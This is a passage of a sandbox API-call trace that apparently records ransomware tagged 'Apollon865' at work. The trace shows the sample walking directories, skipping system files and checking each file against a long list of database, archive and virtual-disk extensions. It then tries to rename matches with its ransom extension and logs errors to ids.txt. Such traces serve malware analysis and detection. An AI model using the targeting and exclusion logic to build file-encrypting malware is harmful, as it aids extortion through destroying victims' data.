	[0052.411] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".lnk") returned 1
	[0052.411] lstrlenW (lpString=".ini") returned 4
	[0052.411] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".ini") returned 1
	[0052.411] lstrlenW (lpString=".sys") returned 4
	[0052.411] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".sys") returned 1
	[0052.411] lstrlenW (lpString="connectionmanager_dmr.xml") returned 25
	[0052.411] lstrlenW (lpString="bak") returned 3
	[0052.411] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0052.411] lstrlenW (lpString="ba_") returned 3
	[0052.411] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0052.411] lstrlenW (lpString="dbb") returned 3
	[0052.411] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0052.411] lstrlenW (lpString="vmdk") returned 4
	[0052.411] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0052.411] lstrlenW (lpString="rar") returned 3
	[0052.411] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0052.411] lstrlenW (lpString="zip") returned 3
	[0052.411] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0052.411] lstrlenW (lpString="tgz") returned 3
	[0052.411] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0052.412] lstrlenW (lpString="vbox") returned 4
	[0052.412] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0052.412] lstrlenW (lpString="vdi") returned 3
	[0052.412] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0052.412] lstrlenW (lpString="vhd") returned 3
	[0052.412] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0052.412] lstrlenW (lpString="vhdx") returned 4
	[0052.412] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0052.412] lstrlenW (lpString="avhd") returned 4
	[0052.412] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0052.412] lstrlenW (lpString="db") returned 2
	[0052.412] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0052.412] lstrlenW (lpString="db2") returned 3
	[0052.412] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0052.412] lstrlenW (lpString="db3") returned 3
	[0052.412] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0052.412] lstrlenW (lpString="dbf") returned 3
	[0052.412] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0052.412] lstrlenW (lpString="mdf") returned 3
	[0052.412] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0052.412] lstrlenW (lpString="mdb") returned 3
	[0052.412] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0052.412] lstrlenW (lpString="sql") returned 3
	[0052.412] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0052.412] lstrlenW (lpString="sqlite") returned 6
	[0052.412] lstrcmpiW (lpString1="mr.xml", lpString2="sqlite") returned -1
	[0052.412] lstrlenW (lpString="sqlite3") returned 7
	[0052.412] lstrcmpiW (lpString1="dmr.xml", lpString2="sqlite3") returned -1
	[0052.412] lstrlenW (lpString="sqlitedb") returned 8
	[0052.412] lstrcmpiW (lpString1="_dmr.xml", lpString2="sqlitedb") returned -1
	[0052.412] lstrlenW (lpString="xml") returned 3
	[0052.412] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0052.412] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml.Apollon865") returned 95
	[0052.412] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\connectionmanager_dmr.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml.Apollon865" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\connectionmanager_dmr.xml.apollon865"), dwFlags=0x1) returned 0
	[0052.413] GetLastError () returned 0x5
	[0052.413] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml MoveFileEx error 5\r\n") returned 113
	[0052.413] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml MoveFileEx error 5\r\n") returned 113
	[0052.413] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0052.413] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x207b
	[0052.413] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x71, lpOverlapped=0x0) returned 1
	[0052.413] CloseHandle (hObject=0x14c) returned 1
	[0052.413] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0052.413] CloseHandle (hObject=0x0) returned 0
	[0052.413] CloseHandle (hObject=0x0) returned 0
	[0052.413] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e0d5d3, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e0d5d3, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x550eb3bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1
	[0052.413] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.413] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0052.413] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".") returned 1
	[0052.413] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="..") returned 1
	[0052.413] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="windows") returned -1
	[0052.413] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="bootmgr") returned 1
	[0052.414] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="temp") returned -1
	[0052.414] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="pagefile.sys") returned -1
	[0052.414] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="boot") returned 1
	[0052.414] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="ids.txt") returned -1
	[0052.414] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="ntuser.dat") returned -1
	[0052.414] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="perflogs") returned -1
	[0052.414] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="MSBuild") returned -1
	[0052.414] lstrlenW (lpString="DMR_120.jpg") returned 11
	[0052.414] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned 84
	[0052.414] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="DMR_120.jpg" | out: lpString1="DMR_120.jpg") returned="DMR_120.jpg"
	[0052.414] lstrlenW (lpString="DMR_120.jpg") returned 11
	[0052.414] lstrlenW (lpString="Apollon865") returned 10
	[0052.414] lstrcmpiW (lpString1="MR_120.jpg", lpString2="Apollon865") returned 1
	[0052.414] lstrlenW (lpString=".dll") returned 4
	[0052.414] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".dll") returned 1
	[0052.414] lstrlenW (lpString=".lnk") returned 4
	[0052.414] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".lnk") returned 1
	[0052.414] lstrlenW (lpString=".ini") returned 4
	[0052.414] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".ini") returned 1
	[0052.414] lstrlenW (lpString=".sys") returned 4
	[0052.414] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".sys") returned 1
	[0052.414] lstrlenW (lpString="DMR_120.jpg") returned 11
	[0052.414] lstrlenW (lpString="bak") returned 3
	[0052.414] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0052.414] lstrlenW (lpString="ba_") returned 3
	[0052.414] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0052.414] lstrlenW (lpString="dbb") returned 3
	[0052.414] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0052.414] lstrlenW (lpString="vmdk") returned 4
	[0052.414] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0052.414] lstrlenW (lpString="rar") returned 3
	[0052.414] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0052.414] lstrlenW (lpString="zip") returned 3
	[0052.415] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0052.415] lstrlenW (lpString="tgz") returned 3
	[0052.415] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0052.415] lstrlenW (lpString="vbox") returned 4
	[0052.415] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0052.415] lstrlenW (lpString="vdi") returned 3
	[0052.415] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0052.415] lstrlenW (lpString="vhd") returned 3
	[0052.415] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0052.415] lstrlenW (lpString="vhdx") returned 4
	[0052.415] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0052.415] lstrlenW (lpString="avhd") returned 4
	[0052.415] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0052.415] lstrlenW (lpString="db") returned 2
	[0052.415] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0052.415] lstrlenW (lpString="db2") returned 3
	[0052.415] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0052.415] lstrlenW (lpString="db3") returned 3
	[0052.415] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0052.415] lstrlenW (lpString="dbf") returned 3
	[0052.415] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0052.415] lstrlenW (lpString="mdf") returned 3
	[0052.415] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0052.415] lstrlenW (lpString="mdb") returned 3
	[0052.415] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0052.415] lstrlenW (lpString="sql") returned 3
	[0052.415] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0052.415] lstrlenW (lpString="sqlite") returned 6
	[0052.415] lstrcmpiW (lpString1="20.jpg", lpString2="sqlite") returned -1
	[0052.415] lstrlenW (lpString="sqlite3") returned 7
	[0052.415] lstrcmpiW (lpString1="120.jpg", lpString2="sqlite3") returned -1
	[0052.415] lstrlenW (lpString="sqlitedb") returned 8
	[0052.415] lstrcmpiW (lpString1="_120.jpg", lpString2="sqlitedb") returned -1
	[0052.415] lstrlenW (lpString="xml") returned 3
	[0052.415] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0052.415] lstrlenW (lpString="$er") returned 3
	[0052.416] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0052.416] lstrlenW (lpString="4dd") returned 3
	[0052.416] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0052.416] lstrlenW (lpString="4dl") returned 3
	[0052.416] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0052.416] lstrlenW (lpString="^^^") returned 3
	[0052.416] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0052.416] lstrlenW (lpString="abs") returned 3
	[0052.416] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0052.416] lstrlenW (lpString="abx") returned 3
	[0052.416] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0052.416] lstrlenW (lpString="accdb") returned 5
	[0052.416] lstrcmpiW (lpString1="0.jpg", lpString2="accdb") returned -1
	[0052.416] lstrlenW (lpString="accdc") returned 5
	[0052.416] lstrcmpiW (lpString1="0.jpg", lpString2="accdc") returned -1
	[0052.416] lstrlenW (lpString="accde") returned 5
	[0052.416] lstrcmpiW (lpString1="0.jpg", lpString2="accde") returned -1
	[0052.416] lstrlenW (lpString="accdr") returned 5
	[0052.416] lstrcmpiW (lpString1="0.jpg", lpString2="accdr") returned -1
	[0052.416] lstrlenW (lpString="accdt") returned 5
	[0052.416] lstrcmpiW (lpString1="0.jpg", lpString2="accdt") returned -1
	[0052.416] lstrlenW (lpString="accdw") returned 5
	[0052.416] lstrcmpiW (lpString1="0.jpg", lpString2="accdw") returned -1
	[0052.416] lstrlenW (lpString="accft") returned 5
	[0052.416] lstrcmpiW (lpString1="0.jpg", lpString2="accft") returned -1
	[0052.416] lstrlenW (lpString="adb") returned 3
	[0052.416] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0052.416] lstrlenW (lpString="adb") returned 3
	[0052.416] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0052.416] lstrlenW (lpString="ade") returned 3
	[0052.416] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0052.416] lstrlenW (lpString="adf") returned 3
	[0052.416] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0052.416] lstrlenW (lpString="adn") returned 3
	[0052.416] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0052.416] lstrlenW (lpString="adp") returned 3
	[0052.417] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0052.417] lstrlenW (lpString="alf") returned 3
	[0052.417] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0052.417] lstrlenW (lpString="ask") returned 3
	[0052.417] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0052.417] lstrlenW (lpString="btr") returned 3
	[0052.417] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0052.417] lstrlenW (lpString="cat") returned 3
	[0052.417] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0052.417] lstrlenW (lpString="cdb") returned 3
	[0052.417] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0052.417] lstrlenW (lpString="ckp") returned 3
	[0052.417] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0052.417] lstrlenW (lpString="cma") returned 3
	[0052.417] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0052.417] lstrlenW (lpString="cpd") returned 3
	[0052.417] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0052.417] lstrlenW (lpString="dacpac") returned 6
	[0052.417] lstrcmpiW (lpString1="20.jpg", lpString2="dacpac") returned -1
	[0052.417] lstrlenW (lpString="dad") returned 3
	[0052.417] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0052.417] lstrlenW (lpString="dadiagrams") returned 10
	[0052.417] lstrcmpiW (lpString1="MR_120.jpg", lpString2="dadiagrams") returned 1
	[0052.417] lstrlenW (lpString="daschema") returned 8
	[0052.417] lstrcmpiW (lpString1="_120.jpg", lpString2="daschema") returned -1
	[0052.417] lstrlenW (lpString="db-journal") returned 10
	[0052.417] lstrcmpiW (lpString1="MR_120.jpg", lpString2="db-journal") returned 1
	[0052.417] lstrlenW (lpString="db-shm") returned 6
	[0052.417] lstrcmpiW (lpString1="20.jpg", lpString2="db-shm") returned -1
	[0052.417] lstrlenW (lpString="db-wal") returned 6
	[0052.417] lstrcmpiW (lpString1="20.jpg", lpString2="db-wal") returned -1
	[0052.417] lstrlenW (lpString="dbc") returned 3
	[0052.417] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0052.417] lstrlenW (lpString="dbs") returned 3
	[0052.418] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0052.418] lstrlenW (lpString="dbt") returned 3
	[0052.418] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0052.418] lstrlenW (lpString="dbv") returned 3
	[0052.418] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0052.418] lstrlenW (lpString="dbx") returned 3
	[0052.418] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0052.418] lstrlenW (lpString="dcb") returned 3
	[0052.418] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0052.418] lstrlenW (lpString="dct") returned 3
	[0052.418] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0052.418] lstrlenW (lpString="dcx") returned 3
	[0052.418] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0052.418] lstrlenW (lpString="ddl") returned 3
	[0052.418] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0052.418] lstrlenW (lpString="dlis") returned 4
	[0052.418] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0052.418] lstrlenW (lpString="dp1") returned 3
	[0052.418] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0052.418] lstrlenW (lpString="dqy") returned 3
	[0052.418] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0052.418] lstrlenW (lpString="dsk") returned 3
	[0052.418] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0052.418] lstrlenW (lpString="dsn") returned 3
	[0052.418] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0052.418] lstrlenW (lpString="dtsx") returned 4
	[0052.418] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0052.418] lstrlenW (lpString="dxl") returned 3
	[0052.418] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0052.418] lstrlenW (lpString="eco") returned 3
	[0052.418] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0052.418] lstrlenW (lpString="ecx") returned 3
	[0052.418] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0052.418] lstrlenW (lpString="edb") returned 3
	[0052.418] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0052.419] lstrlenW (lpString="epim") returned 4
	[0052.419] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0052.419] lstrlenW (lpString="fcd") returned 3
	[0052.419] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0052.419] lstrlenW (lpString="fdb") returned 3
	[0052.419] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0052.419] lstrlenW (lpString="fic") returned 3
	[0052.419] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0052.419] lstrlenW (lpString="flexolibrary") returned 12
	[0052.419] lstrlenW (lpString="fm5") returned 3
	[0052.419] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0052.419] lstrlenW (lpString="fmp") returned 3
	[0052.419] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0052.419] lstrlenW (lpString="fmp12") returned 5
	[0052.419] lstrcmpiW (lpString1="0.jpg", lpString2="fmp12") returned -1
	[0052.419] lstrlenW (lpString="fmpsl") returned 5
	[0052.419] lstrcmpiW (lpString1="0.jpg", lpString2="fmpsl") returned -1
	[0052.419] lstrlenW (lpString="fol") returned 3
	[0052.419] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0052.419] lstrlenW (lpString="fp3") returned 3
	[0052.419] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0052.419] lstrlenW (lpString="fp4") returned 3
	[0052.419] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0052.419] lstrlenW (lpString="fp5") returned 3
	[0052.419] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0052.419] lstrlenW (lpString="fp7") returned 3
	[0052.419] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0052.419] lstrlenW (lpString="fpt") returned 3
	[0052.419] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0052.419] lstrlenW (lpString="frm") returned 3
	[0052.419] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0052.419] lstrlenW (lpString="gdb") returned 3
	[0052.419] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0052.419] lstrlenW (lpString="gdb") returned 3
	[0052.419] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0052.419] lstrlenW (lpString="grdb") returned 4
	[0052.420] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0052.420] lstrlenW (lpString="gwi") returned 3
	[0052.420] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0052.420] lstrlenW (lpString="hdb") returned 3
	[0052.420] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0052.420] lstrlenW (lpString="his") returned 3
	[0052.420] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0052.420] lstrlenW (lpString="ib") returned 2
	[0052.420] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0052.420] lstrlenW (lpString="idb") returned 3
	[0052.420] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0052.420] lstrlenW (lpString="ihx") returned 3
	[0052.420] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0052.420] lstrlenW (lpString="itdb") returned 4
	[0052.420] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0052.420] lstrlenW (lpString="itw") returned 3
	[0052.420] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0052.420] lstrlenW (lpString="jet") returned 3
	[0052.420] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0052.420] lstrlenW (lpString="jtx") returned 3
	[0052.420] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0052.420] lstrlenW (lpString="kdb") returned 3
	[0052.420] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0052.420] lstrlenW (lpString="kexi") returned 4
	[0052.420] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0052.420] lstrlenW (lpString="kexic") returned 5
	[0052.420] lstrcmpiW (lpString1="0.jpg", lpString2="kexic") returned -1
	[0052.420] lstrlenW (lpString="kexis") returned 5
	[0052.420] lstrcmpiW (lpString1="0.jpg", lpString2="kexis") returned -1
	[0052.420] lstrlenW (lpString="lgc") returned 3
	[0052.420] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0052.420] lstrlenW (lpString="lwx") returned 3
	[0052.420] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0052.420] lstrlenW (lpString="maf") returned 3
	[0052.420] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0052.421] lstrlenW (lpString="maq") returned 3
	[0052.421] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0052.421] lstrlenW (lpString="mar") returned 3
	[0052.421] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0052.421] lstrlenW (lpString="marshal") returned 7
	[0052.421] lstrcmpiW (lpString1="120.jpg", lpString2="marshal") returned -1
	[0052.421] lstrlenW (lpString="mas") returned 3
	[0052.421] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0052.421] lstrlenW (lpString="mav") returned 3
	[0052.421] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0052.421] lstrlenW (lpString="maw") returned 3
	[0052.421] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0052.421] lstrlenW (lpString="mdbhtml") returned 7
	[0052.421] lstrcmpiW (lpString1="120.jpg", lpString2="mdbhtml") returned -1
	[0052.421] lstrlenW (lpString="mdn") returned 3
	[0052.421] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0052.421] lstrlenW (lpString="mdt") returned 3
	[0052.421] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0052.421] lstrlenW (lpString="mfd") returned 3
	[0052.421] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0052.421] lstrlenW (lpString="mpd") returned 3
	[0052.421] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0052.421] lstrlenW (lpString="mrg") returned 3
	[0052.421] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0052.421] lstrlenW (lpString="mud") returned 3
	[0052.421] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0052.421] lstrlenW (lpString="mwb") returned 3
	[0052.421] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0052.421] lstrlenW (lpString="myd") returned 3
	[0052.421] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0052.421] lstrlenW (lpString="ndf") returned 3
	[0052.421] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0052.421] lstrlenW (lpString="nnt") returned 3
	[0052.421] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0052.421] lstrlenW (lpString="nrmlib") returned 6
	[0052.422] lstrcmpiW (lpString1="20.jpg", lpString2="nrmlib") returned -1
	[0052.422] lstrlenW (lpString="ns2") returned 3
	[0052.422] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0052.422] lstrlenW (lpString="ns3") returned 3
	[0052.422] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0052.422] lstrlenW (lpString="ns4") returned 3
	[0052.422] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0052.422] lstrlenW (lpString="nsf") returned 3
	[0052.422] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0052.422] lstrlenW (lpString="nv") returned 2
	[0052.422] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0052.422] lstrlenW (lpString="nv2") returned 3
	[0052.422] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0052.422] lstrlenW (lpString="nwdb") returned 4
	[0052.422] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0052.422] lstrlenW (lpString="nyf") returned 3
	[0052.422] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0052.422] lstrlenW (lpString="odb") returned 3
	[0052.422] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0052.422] lstrlenW (lpString="odb") returned 3
	[0052.422] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0052.422] lstrlenW (lpString="oqy") returned 3
	[0052.422] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0052.422] lstrlenW (lpString="ora") returned 3
	[0052.422] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0052.422] lstrlenW (lpString="orx") returned 3
	[0052.422] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0052.422] lstrlenW (lpString="owc") returned 3
	[0052.422] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0052.422] lstrlenW (lpString="p96") returned 3
	[0052.422] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0052.422] lstrlenW (lpString="p97") returned 3
	[0052.422] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0052.422] lstrlenW (lpString="pan") returned 3
	[0052.422] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0052.423] lstrlenW (lpString="pdb") returned 3
	[0052.423] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0052.423] lstrlenW (lpString="pdm") returned 3
	[0052.423] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0052.423] lstrlenW (lpString="pnz") returned 3
	[0052.423] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0052.423] lstrlenW (lpString="qry") returned 3
	[0052.423] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0052.423] lstrlenW (lpString="qvd") returned 3
	[0052.423] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0052.423] lstrlenW (lpString="rbf") returned 3
	[0052.423] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0052.423] lstrlenW (lpString="rctd") returned 4
	[0052.423] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0052.423] lstrlenW (lpString="rod") returned 3
	[0052.423] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0052.423] lstrlenW (lpString="rodx") returned 4
	[0052.423] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0052.423] lstrlenW (lpString="rpd") returned 3
	[0052.423] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0052.423] lstrlenW (lpString="rsd") returned 3
	[0052.423] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0052.423] lstrlenW (lpString="sas7bdat") returned 8
	[0052.423] lstrcmpiW (lpString1="_120.jpg", lpString2="sas7bdat") returned -1
	[0052.423] lstrlenW (lpString="sbf") returned 3
	[0052.423] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
